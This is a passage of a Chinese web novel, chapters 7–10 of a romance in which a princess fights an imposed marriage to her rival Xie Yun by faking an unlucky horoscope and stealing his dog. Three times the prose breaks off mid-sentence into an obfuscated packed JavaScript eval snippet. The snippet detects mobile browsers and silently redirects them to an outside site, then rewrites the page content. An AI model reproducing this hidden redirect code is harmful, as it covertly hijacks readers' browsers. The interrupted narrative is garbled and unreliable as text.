《重生后被宿敌强娶了》 7. 第 7 章 “父皇!”姒华欢怒气冲冲地闯进紫宸殿,举着手中的圣旨,颤抖着问嘉平帝,“您明知我与谢昀势不两立,为何连问都不问就赐婚?” 嘉平帝面对她的质问没有生气,反倒笑了笑。 “你们青梅竹马,相伴数十载,再般配不过。小孩子吵吵闹闹的很正常,哪有到势不两立那么严重。何况景初哪次没让着你,除了他谁还能忍下你这般骄纵的性子?” 姒华欢声音陡然拔高:“父皇您这明摆是胳膊肘往外拐!我倒要问问父皇,到底我是您亲生的,还是他谢昀是您亲生的!就算骠骑大将军于父皇,于大越有功,也不能这样搭上女儿的一生报恩啊!” “康乐!怎么说话的!”嘉平帝猛然站起,“我从未想过用你的婚事来报恩。更何况当年没有骠骑大将军,便没有我的皇位,更没有你这样肆意妄为的好日子,莫要再说此等妄言。” 姒华欢胸口剧烈起伏,她不明白为什么一向宠溺她的父皇在此事上如此决绝,“为什么非得是他?” 嘉平帝表情缓缓松动,“景初心悦于你,亲自向我求娶,言行间皆可见他对你的真心。我仔细思量过,于你而言,他确实是好夫婿的最佳人选。” 姒华欢却像听到什么天大的笑话般,嗤笑出声:“他是个巧言令色的,说这些不过是蒙骗父皇!父皇就信他这等冠冕堂皇之言?” “天底下的好男儿又不是死绝了,好看的男人更是多的是,岂非得嫁他谢昀不可?” 嘉平帝挺直脊背,又变回那个不容违逆的君王:“此事不必再说,礼部已着手准备婚事,京中各处也早传出了消息。圣旨一下,便没有收回的道理。” 见父皇这没有任何回旋的余地,姒华欢握紧手中圣旨头也不回地疾步向外走。 谢昀这个王八蛋!先是向哥哥告她的状,再跑到折梅苑坏她好事,如今更是变本加厉,为了不让她好过竟想出这么个阴招! 嘉平帝望着她气愤的背影叹了口气。 为了女儿今后的幸福,他受些委屈也无妨! ***** 姒华欢一脚踹开侯府大门,府中侍卫连拦都不敢拦。她攥着圣旨的手指节发白,眼底烧着火,随手抓起一个侍卫问:“谢昀在哪儿?” 侍卫颤着声回道:“在……在书房……” 姒华欢轻车熟路地冲进书房,谢昀正倚在案边翻书,见她闯进来,眉梢都没动一下。 “谢、昀!”她将圣旨一把扔到谢昀面前,怒道:“你是不是疯了!恶心我也不必用这种法子吧!” 谢昀垂眼一瞥,搁下书,慢悠悠端起茶盏抿了一口,“还是你教我的呢,别管什么法子,有用就行。” 他语气轻飘飘的。姒华欢最讨厌他这副仿佛一切尽在掌握的模样,猛地抬手一挥,桌上的烟砚台、笔架“哗啦”一声尽数被扫落在地。青瓷茶盏也未能幸免,摔得粉碎,茶水四溅,墨汁泼在光洁的地砖上,狼藉一片。 “你简直卑鄙无耻!还好意思和我父皇说什么心悦我的狗屁话,你说出来自己不觉得恶心吗?” 谢昀起身绕到桌前,捡起被扫落在地的圣旨,掸了掸上面沾到的几滴茶水,“还行,你想听的话我也可以跟你再说一遍。” 姒华欢气结,人怎么能不要脸到这个地步? “上次我们不是都说好了,一别两宽,互不打搅。” 谢昀淡淡道:“谁跟你说好了,我可没同意。” “你!”姒华欢盯着他带着从容的桃花眼,恨不得把他撕碎了。 谢昀的神态终于有了变化,琥珀色的眸子紧盯她,忽然笑了:“终于肯正眼看我了?这些日子你躲我躲得紧,我差点以为你是怕了我。” “我怕你?”姒华欢哂笑,“我是嫌你烦。” 谢昀拉长声调“哦”了一声,“那你以后可有的烦了。” 姒华欢默了默,道:“怎么,你不会是真的倾慕我,故意托词去求我父皇赐婚的吧?” 谢昀表情一僵,随即嗤笑:“你少自作多情。” “那你为何非得拖我下水?”姒华欢咬牙道,“京城里想嫁你的贵女能绕城墙两圈,你偏要存心和我过不去。你毁了我的姻缘,你自己的婚事不也耽误了?何必两败俱伤?” “殿下多虑了。”谢昀歪了歪头,笑道,“莫非,殿下是怕与我朝夕相处,会对我……” 他本就生得俊美,这一笑更是晃眼,却让姒华欢火气更大。 她气得指尖发颤,指着他道:“就算是全天下男人死绝了,我也不会对你有任何想法!” “哦?是吗?我不信。” “谢昀!”姒华欢彻底被激怒,“你等着,看到底是谁让谁不好过!” 谢昀倚在桌案边,好整以暇地看着她:“拭目以待。” 目送她气鼓鼓甩袖离去的背影远去,谢昀垂眸,展开手中的明黄锦缎,指尖轻轻抚过圣旨上并排的两个名字。 一直躲在门外的陶总管迈进门槛,眼神扫过满地狼藉,看着眼春风满面的侯爷,问道:“侯爷是料到了殿下要来,所以特意嘱咐门房将大门轻掩的吗?” 谢昀将圣旨卷好,小心翼翼地放到一个精致的木盒中,挂上锁,淡定自若道: “我还不了解她?她得知消息,一定会来找我,以她的脾性定要踹门而入的。门轻轻掩上给她踹了先撒过气,不然我就要挨上这一脚了。” 陶总管:“……” 他仰头望向窗外澄净的天空,隐隐约约感觉,安静了十几年的侯府,马上就要热闹起来了。 ***** 两边都行不通,姒华欢只好去找找姒华容。 她推开门时,姒华容正在写字,被吓了一大跳,手一抖,宣纸上立刻晕开一团墨渍。 他抬头,看见妹妹提着裙摆气势汹汹地闯进来,发间珠钗乱晃,脸颊气得发粉。 “哥哥!”姒华欢把门摔得震天响,“我不要嫁给谢昀!” 姒华容放在毛笔,用帕子擦了擦指尖沾染的墨迹,温声道:“慢些说,别摔坏了门。” “谁管门坏不坏。”姒华欢冲到书案前,双手拍在案面上,震得笔架颤了颤,“父皇说他金口玉言,圣旨已下,难以收回成命,谢昀又不肯放过我主动退婚。” 姒华容绕过书案,轻轻按住妹妹的肩膀:“先坐下说话。” 姒华欢坐到椅子上,突然眼圈一红,声音立刻带上了哭腔:“哥哥,你帮帮我嘛……谢昀成心不让我好过,还不等成婚我都要被他气死了呜呜呜……” 她干嚎得惊天动地,却半晌不见半滴眼泪。 姒华容知道妹妹的惯用伎俩,面对眼圈红红,鼻头也红红,可怜巴巴的妹妹,还是忍不住心软,轻叹一声,“你就那么讨厌他?” 见哥哥松动,姒华欢立刻抓住救命稻草一般握住他的手,抬着圆圆的大眼睛一眨一眨。 “哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220987|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你去跟父皇说,就说……就说他不是个可托付的良人。你日日与他相处,父皇肯定会相信你的!” 姒华容失笑:“胡闹,景初是什么样的人,父皇也是看在眼里的,如何能污蔑于人,那样不好。” “那我不管。”姒华欢跺脚,“你是我一母同胞的亲哥哥,你要是不帮我,难道要眼睁睁看着我死在他手上吗?” “又说的什么胡话,什么死不死的。”姒华容拗不过她,只好点头答应,“好好好,我去见见父皇。” 姒华欢眼睛一亮,立刻收起了那副哭相:“真的?哥哥你最好了!” 她跳起来抱住哥哥的胳膊晃了晃,“那你现在就去!” 姒华容无奈地抽出手臂,“总得容我先换身衣裳。” 仅一炷香的时间,姒华容便从紫宸殿回来了,刚踏进殿门就见妹妹提着裙子从里面奔出来,跑动间身上的环佩叮当作响。 “怎么样怎么样?父皇答应收回成命了吗?”姒华欢急切地问道。 姒华容抿了抿唇:“父皇说,景初是在替他分忧,这桩婚事……” 见他吞吞吐吐的,姒华欢瞪大眼睛,期待地等他接下来的话。 “昨日不知从哪走漏了风声,今日一早便满京城传遍景初与你的婚事,父皇见此才写下的圣旨。” 姒华欢脸上的期待一点点垮下来:“所以呢?” “父皇也很为难。君子一言,驷马难追,更何况父皇是天子,金口玉言,圣旨绝无收回的道理。” “我看就是谢昀故意传出去逼我就范的吧!不然紫宸殿内关起门来说的事,如何能在一天都不到的时间里传遍京城?好一个无耻之徒!” 谢昀这狗东西没别的花招可用了?天天找人在京中胡乱传谣。 啊!她明白了。 从一开始就是谢昀步下的局,先是传出她去折梅苑的消息,联合御史弹劾她,父皇便会头痛,才会信了他的那番荒唐说辞。 随后再把两人即将赐婚的消息放出去,覆水难收,父皇就更不会收回成命,她就不得不为了顾及皇家颜面咽下这口气。 她再任性,也没任性到置皇室尊严而不顾。 “景初不是那样的人。”姒华容道。 姒华欢要被这个性子温吞、单纯良善、毫无心眼的哥哥气晕了。 姒华容完全随了皇后的性子,是个天性纯良,温润如玉的谦谦君子。 而姒华欢则完全随了嘉平帝,心比天宽,加之嘉平帝的宠溺和“言传身教”,自幼听其所欲,无不允许,才从小养成了她这般骄横恣肆的性子。 可能也有一母同胞的关系,两人的性子简直一水一火,但没有容不下对方,意外地和谐。 姒华容也不知该如何安慰妹妹,对身边的宫人道:“传膳吧。” 姒华欢:“?” “哥哥你还吃得下饭?” 现在她都被架在火上烤了,他居然还有心情吃饭! 姒华容眨眨眼:“到午膳时间了。” 姒华欢似乎能感受到喉头涌上来的血腥味,忍无可忍道:“哥你!你自己吃吧!” 说完,便和来的时候一般,怒气冲冲地提着裙子从殿里跑走了。 她没有再去找母后,母后是个软性子的,既然她在父皇那都毫无回旋余地,去找母后也是无济于事。 她在永安宫沉思了一会儿,问魏紫:“京城附近哪个寺算姻缘最准?” 8. 第 8 章 虽慈云寺是国寺,但地处偏僻,昨夜刚下过雨,来时路稍有泥泞。姒华欢提着裙摆跨过慈云寺的门槛,果不其然看见绣金线的鞋尖上沾了些泥点。 她皱了皱眉,身旁的魏紫立刻会意,蹲下身用帕子小心地替她拂去。 她最讨厌下雨天,今日却不得不来。 硬的不行就来点软的,讲不通道理就来点玄学。 寺内香火缭绕,姒华欢没有去人多的佛殿,而是在几处稍偏僻的偏殿间逛,边逛边打量殿中的和尚。 这寺中据说有位算命极准的神算子,却不是谁都能见到他,遇见他要靠缘分。有的人一连去三五日也等不到,有的人无心经过反而却见到了。 直到逛到最后一处幽静的偏殿中,只见一位白胡子老僧正在闭目打坐,听见脚步声才缓缓睁眼。 “女施主为何而来?”老僧声音沧桑。 姒华欢问:“你就是净空大师?” “正是。” 姒华欢走过去,从袖中掏出一张纸条递给净空大师:“我要算这两个人的八字。” 老僧展开纸条,浑浊的眼睛扫过上面的字迹,又抬头仔细端详姒华欢的面相,忽然露出一抹微笑:“原来是你。女施主问姻缘?” 姒华欢没管他前面故弄玄虚的前半句,不情不愿地用鼻子哼了一声:“你只管算就是。” 老僧连手指都未掐,脱口而出:“此八字与女施主相合,乃上等姻缘。” 姒华欢听了脸色立刻就变了:“你怎么能乱说呢?你算都未算!” 老僧神色不变,不紧不慢道:“老衲几十载从未出过错。” “那便是巧合。”姒华欢叉腰,“你再算算,左边的八字与什么相克?” “这个,老衲算不出。” 姒华欢没想到他竟回绝地这么干脆,皱着眉头上下打量他几眼,又看向魏紫,用眼神说:这就是你说的神算子? 什么神算子,她看他就是个江湖骗子。 姒华欢一把抽回老僧手中的纸条,头也不回地往外走。 待走出了偏殿,姒华欢没好气道:“什么净空大师,忽悠大师吧!他能神通到只瞥一眼就看出来了?” “殿下小声些。”魏紫急忙四下张望,还好周边没人,“京中大多数的簪缨世族都是来找净空大师合八字的,据说净空大师说相合的夫妻,都能鸾凤和鸣、白头偕老呢。” 闻言姒华欢脚下一乱,差点自己左脚绊右脚,稳住身形后转头瞪魏紫:“鸾凤和鸣、白头偕老?那你还让我来?魏紫,你要害死我啊!” 魏紫有几分委屈道:“殿下问的不是哪个寺算姻缘最准嘛……” 又不是问哪个寺能坏姻缘…… 姚黄一闪念,道:“殿下,据说城南有位先生除了能卜吉凶,还能替人解灾厄,只是要稍微多花些银钱。” 姚黄的消息最为灵通,不仅知晓宫中事,还时不时能从其他宫女那得知些宫外事。 对姒华欢来说,能用银子解决的问题都不算问题。 此时只能死马当活马医,她催促道:“那还等什么?赶紧走呀。” 姒华欢走前还去正殿拜了拜,不论是佛还是菩萨都拜了一遍,祈祷一定不要顺顺利利地与谢昀成亲。 她们抵达卦铺时,正巧碰上一个男人满面红光地从铺子里出来,小心翼翼地收起手中的符纸,口中激动地念叨着:“真准,真准啊!” 姚黄和魏紫同时在两侧撩起帘子,姒华欢步入卦铺,扑面而来的是一股陈旧的香灰味。 铺子不大,四壁挂着泛黄的八卦图,案台上供着一尊不知道是谁的铜像,铜像前坐着一个瘦长脸,留着一撇小胡子的中年男人。 见有客来,他眼皮抬起,眼珠子滴溜溜在她身上转了一圈,最后定在她腰间的玉佩上,煞有其事地用食指和大拇指捻了几下小胡子,道:“小姐请坐,是求姻缘还是求子?” 姒华欢拿出写着两列八字的纸条放在桌上,“合这两人的八字。” 陈先生拿着八字,眯起眼睛,眉头紧锁,半晌没言语。 姒华欢心头一跳。她就说那净空大师一定是算错了,他们必是八字相克。再不济,也是谢昀克她。 “这二人……” 姒华欢期待地向前倾了倾身子,就听他说:“这八字相合,乃是天作之……” “胡说!”姒华欢猛地拍桌,紧盯他的眼睛,一字一顿道,“你再仔细算算,必有什么相克之处。” 陈先生被她突如其来的拍桌惊得往后一仰,差点从凳子上跌下去。他稳住身形,又低头看了看纸条,为难道:“小姐,这对八字确实相合,五行互补,命格相符……” “好了,你不要再说了。”姒华欢打断他。 再听下去她就要被膈应死了。 姒华欢伸手,姚黄掏出一块银锭放在她手心,她“啪”地把银子按在他面前,“够不够让你看出点相克的地方?” 陈先生盯着那锭银子,喉头滚动了一下,缓缓将银子拢入袖中,装模作样地掐指算了算。 “这个,若说相克……”陈先生晃着脑袋,胸有成竹道,“这位公子若不是申时,而是戌时的话,便与小姐八字相冲了,断不宜婚配。” 姒华欢眼睛一亮:“当真?” 陈先生点头:“千真万确,两位的八字妙就妙在,只差这一点便相冲了。” 姒华欢嘴角勾起一抹得意地笑,从陈先生手中夺回纸条,拿起搭在砚台上的毛笔,当场将“申”字改为了“戌”字。干脆利落,没有丝毫的犹豫。 “你若是敢骗我……”她眯起眼睛,威胁之意不言而喻。 陈先生连连摆手:“不敢不敢,小姐尽管拿去给别人看看,保管他们算出个‘大凶’来。” 姒华欢这才满意地将改好的八字折好塞入袖中,又甩给他一块银锭:“赏你的。” 说罢起身便走,步履匆匆,裙裾飞扬,转眼便消失在街角。 陈先生望着她离去的身影直摇头:“怪人,怪人。” 又低头摸了摸两块大银锭。 怪,但有钱!这样的客人,多来一些也无妨! 姒华欢先回永安宫重新写下两人改后的八字,随后直奔太史局,心跳如鼓,既兴奋又紧张。 太史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220988|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局门前守卫认出她是康乐公主,不敢阻拦,她一路畅通无阻地来到太史令面前,将两张写着八字的红纸递上。 “劳烦大人算算这二人八字。” “不敢不敢。”太史令赶忙回道。他哪受得起康乐公主的“劳烦”。 太史令展开两张红纸,一左一右拿在手上,仔细查看。 姒华欢的手在桌下紧张地绞着帕子。她已在心中盘算好了,一旦算出八字相冲,就立刻带着太史令这个“证人”回宫告诉父皇,说什么也不能嫁那谢昀。 想到谢昀接下来被退婚后,算计落空会出现比吃了苦瓜还难看的脸色,她强压嘴角的笑意,心中畅快不已。 “啊呀!”太史令忽然惊呼出声,“臣从未见过如此相克的八字,请问殿下,这是哪两位的八字?” 太好了! 计谋得逞,姒华欢起身去拉太史令,“走,你这就跟我进宫去告诉父皇。” 太史令一头雾水但不敢不从,只能一路懵懵地跟着康乐公主进了紫宸殿。 正巧,皇后也在,正在和嘉平帝商议婚事。 一进殿,姒华欢便道:“父皇母后,我刚送了我和谢昀的八字到太史局,太史令说……” 她望向太史令:“明大人,把你刚刚的话再说一遍。” 太史令自然知晓赐婚之事,一听是康乐公主和明安侯的八字,脸色大变。 嘉平帝和皇后也一同望向太史令。 顶着两道灼灼的目光,太史令紧张地舔舔嘴唇,只能呈上两张红纸,硬着头皮说:“康乐公主和明安侯的八字……子午相冲,水火不容。若强行婚配,轻则家宅不宁,重则性命相妨……” “父皇你听到了吧,谢昀天生就是来克我的,我们不能强行婚配!” 嘉平帝面色凝重:“此话当真?” 太史令:“呃……微臣这就回去让其他人多核算几遍。” “咦?”皇后接过嘉平帝手中红纸,“景初这八字错了,是申时,不是戌时。” 嘉平帝也凑过去看,皇后道:“我不会记错的,确实是申时。陛下可还记得,景初要出生时,正巧是在宫宴上。” 当年的宫宴是为庆祝骠骑大将军凯旋,距离云徽将军临盆还有约莫一旬,宫宴还未开始,云徽将军突然腹痛,急急忙忙请了太医,一个时辰后,便在宫中诞下一子。 这可谓是双喜临门,先帝当时很是高兴,除了谢家受赏,当时在场的每位大臣都得了赏。 嘉平帝点点头:“记得。” 太史令陷入沉思,随后忽然恍然大悟道:“若是申时,那这对八字便合得不能再合了!” 姒华欢太阳穴突突直跳,脑中开始犯晕。 嘉平帝饶有兴趣道:“怎么说?” “康乐公主与明安侯八字相生相成,夫妻宫相映,命局无冲,乃天赐良缘。”太史令激动道,“这样相合的八字,微臣几十年都未见过!” 还不等嘉平帝与皇后高兴地笑出声,只听“砰”一声—— “蓁蓁!” “殿下!” 姒华欢两眼一黑,绝望地晕过去了。 9. 第 9 章 姒华欢悠悠转醒的时候,无意识哼了一声,一片阴影立刻覆在眼前。 她睁开眼,眼前还有些模糊,就见四张脸正凑近了瞧她。 皇后攥着帕子,嘉平帝和姒华容一脸担忧地围拢在床边,江鹤舒问:“殿下可有哪里不适?” 江鹤舒是江太医嫡孙,江太医年迈,便将平日里给她身子的小毛病交给了江鹤舒诊治。 她轻轻摇头,只觉浑身乏力。 她也不完全是被气晕的。原是早晨起得早了些,本就精神不济,又奔波大半日,最后听到噩耗,体虚的她一时气血上涌,便不省人事了。 嘉平帝上前拍拍她的手,“好了好了,父皇知道你觅得良缘开心,但要小心点身子,可不能这么激动了。” 姒华欢差点一口气没喘上来。 从哪里看出来她有一丁点的开心了? 她都要怀疑谢昀是不是给父皇灌了什么迷魂汤,让父皇这样偏听偏信于他。 她看着宣文帝,忽然福至心灵,索性皱起眉头,做出一副惊魂未定的模样,声音细弱道:“父皇,我刚刚做了个梦……” 嘉平帝连忙问:“梦见什么了?乖女别怕,有父皇在。” 她低声道:“我梦见……谢昀反了,带兵逼宫……” 这时她声音哽咽,似是不忍说下去,“最后,他竟……他竟亲手杀了我。” 她用力眨眼也没挤出眼泪,只能用手指假装擦拭眼泪,动作间匆忙去瞥嘉平帝的表情。收回眼神时,眼角的余光扫到姒华容狐疑的眼神,心虚地又低下头,用手背来回揉搓眼睛。 嘉平帝闻言,眉头蹙起,柔声道:“没事没事,梦都是反的,景初不是那样的人。” 皇后也连忙安慰:“傻孩子,梦魇罢了,别自己吓自己。” 姒华欢垂下眼,手覆上心口处,道:“那梦太真实了,我醒来胸口还在隐隐作痛。父皇,人心隔肚皮,世上无绝对之事。” 嘉平帝见她仍是一副惶惶不安的模样,心中叹了口气。 这孩子,为了悔婚都开始瞎编什么梦境了。 “呀,我今日的折子还没批完呢!”嘉平帝如梦初醒般,“蓁蓁你好好休息。子韫,你同我一道回去批折子。”说完便急吼吼地带着姒华容离开了。 姒华欢:“……” 好拙劣的演技。 果然他们是不会信的。姒华欢在床上思绪翻涌,不知过了多久,撑臂坐起。 她想通了,躲得过初一,躲不过十五。横竖婚事已定,与其躲闪推诿,不如答应了。 谢昀定是打定主意她会退婚,闹得她自己下不来台。 她偏不遂了他的意。既然他敢娶,她就敢嫁,看到底是谁让谁不好过。 用不了多久,她会让他跪着求她和离。 姒华欢朝姚黄招招手,神神秘秘地在她耳边说了什么。 ***** 翌日,明安侯府。 陶总管面色复杂地进屋,对桌案后的谢昀道:“侯爷,刚有下人来报,说有人偷偷潜入后院,是……焦焦的院子。” 焦焦是谢昀去年在围猎场外捡到的一只小狗,身体是雪白色的毛,双耳和尾巴却是黄色的。 当时姒华欢笑它的耳朵和尾巴像烧焦了似的,谢昀便顺口给它起名叫焦焦,围猎结束后带回了侯府养着。 “还有大白天敢进侯府行窃的贼?”谢昀手下笔未停,淡淡道,“捉了送去京兆府就是。” “不是贼,”陶总管哭笑不得,“是康乐公主身边的贴身宫女,姚黄。” 谢昀笔下一顿,抬眸望向陶总管。 陶总管犹豫道:“姚黄姑娘好像是来,来偷狗的……” 他听到下人来报时一万个不相信,亲自到后院去,看到姚黄拿着一只大鸡腿放在焦焦鼻子前,引诱它前行。 陶总管还用力眨了眨眼,怕是自己眼花了。 这说出去谁敢信,堂堂康乐公主竟派人来偷一条狗! 陶总管是从前将军府的老人,骠骑大将军最得力的心腹,留在京城掌府中大小事务,什么大风大浪没见过,但这样荒唐的事还是第一次见。 他可以说是看着谢昀长大的,自然知晓他家侯爷和康乐公主之间的过节与不对付,他实在想不通康乐公主偷走狗做什么。 上演一出“挟狗子以令侯爷”? 啊呀,公主向来骄纵任性,不把任何人放在眼里,更何况是一条狗,不会是要折磨焦焦撒气吧! 谢昀先是一怔,随后溢出一声极轻的笑:“偷啊,让她偷吧。把后院的护卫都散开,务必让姚黄顺利偷走。” 毕竟平时是陶总管照顾焦焦得多些,感情深厚,忍不住急道:“侯爷难道不担心公主会对焦焦做什么吗?” “公主不清楚焦焦的脾性,陶叔还不清楚吗?” 谢昀笑意更深,眼中精光一闪,伸出三根骨节分明的手指摇了摇,气定神闲道:“不出三日,她就该上赶着求我给我送回来了。” 另一边,一路奋力扯住绳子防止活蹦乱跳的大狗跳马车的姚黄,终于在一顿拉扯中回到了永安宫。 “殿下,我把明安侯的狗劫回来了!” 魏紫吃惊:“这么快。” 姒华欢“啧”了一声,懒洋洋道:“什么叫劫?那是借。” 姚黄兴冲冲邀功道:“我运气好,刚翻进后院就恰好看到它,趁着没人发现,我就赶紧用鸡腿一路引着从后门遛出来了。” “不过明安侯再怎么一个人住侯府,也不该府中护卫那样松散……” 姒华欢指尖捏着一块芙蓉糕,姿态优雅地站起身,还没反应过来,一道白影如闪电般冲了过来。 “汪!” “殿下小心!”魏紫惊呼。 下一刻,姒华欢只觉得眼前一阵天旋地转,整个人被一股蛮力扑倒在地。 她无比尊贵的康乐公主,竟被一条狗扑在了身下! “放肆!滚开!”姒华欢怒斥,伸手去推。 可那狗却兴奋极了,尾巴摇得像拨浪鼓,湿漉漉的粉色鼻子在她颈间嗅来嗅去,还“哈哧哈哧”地喘着热气。 她刚想呵斥,狗头突然一低。 “吸溜!” 湿热的舌头在她脸上重重舔了一下。 霎时空气都凝固了。 “啊啊啊啊!”姒华欢瞬间崩溃,声音都扭曲变调,“你们都是死的吗?快把这畜生给本公主拖走!” 姚黄和魏紫立刻跑上前,用身子隔开一人一狗的距离。 姚黄慌张道:“殿下恕罪,它突然暴冲,我一时没拉住……” 姒华欢脸上还残留着口水的黏腻感,发髻也歪了半截,咬牙切齿道:“这狗怎么一点规矩都没有!真是狗随主人!” 几个大喘气后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220989|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似是不解气般,对高兴吃着地上芙蓉糕的大狗吼道:“还长得这么肥!” 这狗和她印象中那个瘦小可怜的身影根本无法重合,也不知道谢昀都给它吃什么,能养到这么肥。 大白狗“汪汪”吠了两声,兴奋地围着她转圈。毛茸茸的尾巴高高翘起扫过她的裙摆,两只黑豆眼湿漉漉的,咧开嘴伸长舌头快速喘着气,一副讨好的模样。 姒华欢瞪着它,然而这狗像看不懂人眼色一般,高高抬起前爪就又要往她身上扑。 姒华欢闭眼往魏紫身后躲,在空中不断挥着手,“啊啊啊滚开!” 姚黄奋力拉扯住套在狗脖子上的绳索,才没能让它再扑过去。 这大狗站起来能有半个人高,长得又高又胖,再扑到她脆弱的殿下身上,殿下不得摔出个好歹。 “把这狗给我拴到偏殿去。”姒华欢用帕子嫌恶地在脸上狠狠擦了几下,“今天什么东西都不许给它吃。” 晚上姒华欢沐浴时,从头到脚仔仔细细擦了好几遍,尤其是被狗舔过的脸颊。 她面对铜镜一边擦脸,一边心想:哼哼,现在谢昀那个家伙肯定发现爱犬不见,急死了。就算是翻遍整个京城,他也是找不到的。 届时她放出她有“狗质”的消息,谢昀就得乖乖来求她。 求她。这两个字光想想就浑身舒畅,姒华欢甚至哼起欢快的小曲,美美敷上红玉膏入眠。 夜半,姒华欢正拥着丝衾酣眠。 突然,刺耳的狗叫声划破寂静的夜:“汪!汪汪汪!嗷呜~~~” 姒华欢倏地从梦中惊醒,额角青筋直跳。 这已经是第三次了! 第一次,她忍了,翻个身继续睡。 第二次,她也忍了,咬牙切齿地往耳朵里塞了团丝绢。 现在又开始新一轮的嚎叫,这大肥狗还没完了! 姒华欢一把掀开丝衾,踩上鞋子,连外袍都懒得披,杀气腾腾地冲向偏殿。 “公主,夜里凉……”守夜的姚黄连忙从衣桁上扯下外袍追在后面。 姒华欢充耳不闻,“砰”一声用力推开偏殿的门。 月光下,那只罪魁祸首的大白狗正蹲在柱子旁,见她进来,欢快地摇起尾巴,又“汪汪”叫了两声。 “闭、嘴!”姒华欢指着它的鼻子,一字一顿道。 大白狗歪了歪头,焦黄的耳朵抖了两下,似乎在思考。 就在姒华欢以为它终于识相时,它突然仰起脖子:“嗷呜呜!汪汪汪汪!嗷呜呜呜——” 它扯着嗓子嚎得比之前更响,还带着难听的抑扬顿挫。 这黄耳朵怪叫驴! 姒华欢气得眼前发黑,转了半圈发现手边没任何趁手的物件,顺手捞过姚黄手中的外袍砸过去。 上好绸缎所制的袍子轻飘飘盖在狗头上,它的视线受阻,前爪扒拉着袍子,叫得愈发撕心裂肺。 被吵醒的永安宫宫人们瑟瑟发抖缩在院子里,听着偏殿里面公主的怒骂和狗叫声此起彼伏…… 本就没睡好,被气到头脑昏胀的姒华欢眼冒金星,差点没站住。还好姚黄及时稳住她的身形,她有气无力道:“去……去小厨房给它找点东西吃……” 她真的受不了了,不管用什么方法,先堵住那张该死的狗嘴。 她堂堂康乐公主从来没向谁低过头,认过输,这大肥狗竟成了第一个! 10. 第 10 章 “还没消息吗?”姒华欢闭目卧在软榻上,手撑着额头恹恹地问道。 她一夜没睡好,总感觉现在还隐约能听到风中传来熟悉的魔性嚎叫声…… “没有,”魏紫摇头,“侯府什么消息都没传出来,明安侯上朝前后也未见神色有异。反而,好像有点愉悦……?” 姒华欢倏地睁开漂亮的猫眼,眼中满是不解和愠怒。 愉悦?他还有心情愉悦?难道他都没发现他的爱犬不见了? 真是个冷血无情的家伙,自己的狗丢了都毫不在意。 “殿下……”门外一宫女慌慌张张跑进屋,“殿下,那狗从偏殿逃出,跑进小厨房了!” 小厨房的御厨们都听说了这是明安侯的爱犬,不敢打不敢骂不敢赶,一群人只能缩在一块眼睁睁看着它在食材区域大快朵颐。 姒华欢坐起身:“跑出去了?没人看着吗?” “奴婢,奴婢听见屋内有动静,赶忙进去查看情况,只见到一地的碎琉璃和瓷片。那狗不知怎的脱出了绳索,趁奴婢开门的缝隙偷跑出去了,竟一路跑进了小厨房……” 宫女跪地磕头,哭道:“那狗实在太聪明了,是奴婢看管不当,请殿下恕罪!” 这狗是什么魔童在世吗!? 姒华欢顿时脑子嗡嗡的,斥道:“你们那么多人连条狗都看不住!还不快去给本公主抓住它!” 宫女连连点头,迅速从地上爬起身跑了出去。 过了半晌,倔强的大白狗才由永安宫中最强壮的太监拉到姒华欢面前。 姒华欢抬手就是一巴掌拍在它脑门上,“啪”的一声脆响。 力道不重,但足够让狗子懵住。 它呆了一瞬,黑溜溜的眼睛瞬间变得清澈,眨巴了两下。突然咧开嘴,吐着粉红色的舌头,尾巴飞快地摇起来,甚至整个屁股都跟着扭动。 见姒华欢冷着脸,他又凑近几步,粉色的鼻子发出“嘤嘤嘤”的哼唧声,毛脑袋讨好地蹭她的衣角。 姒华欢的第二巴掌已经举到半空,硬生生僵住了。 它仰头看她,缩着两只焦黄的耳朵,尾巴摇得要飞起来了。眼神纯良又无辜,仿佛刚刚大闹永安宫,昨晚嚎到整个永安宫失眠的不是它。 她的手缓缓放下,最终只是没好气地戳了戳它脑门儿:“跟你主人一个样,就知道装无辜,耍无赖,表面一套背后一套。” 姒华欢好不容易生出来的一点原谅的念头,在下午看到她的衣服被撕得满地碎布条的时候,消失殆尽。 看着狗子欢快地往她脚边一趴,尾巴“啪啪”拍地,一副赖定她的模样。 她长长地吸了口气:“去,去给谢昀传话,让他亲自进宫把他的狗赎回去!” 陶总管听完宫人的传话,给宫人塞了点银钱,把事情问了个明白后,一路憋笑到书房。 他尽量让自己不要笑出声,微微正色对谢昀说:“康乐公主说焦焦在她手上,让侯爷亲自进宫去……去求她,赎回焦焦。” 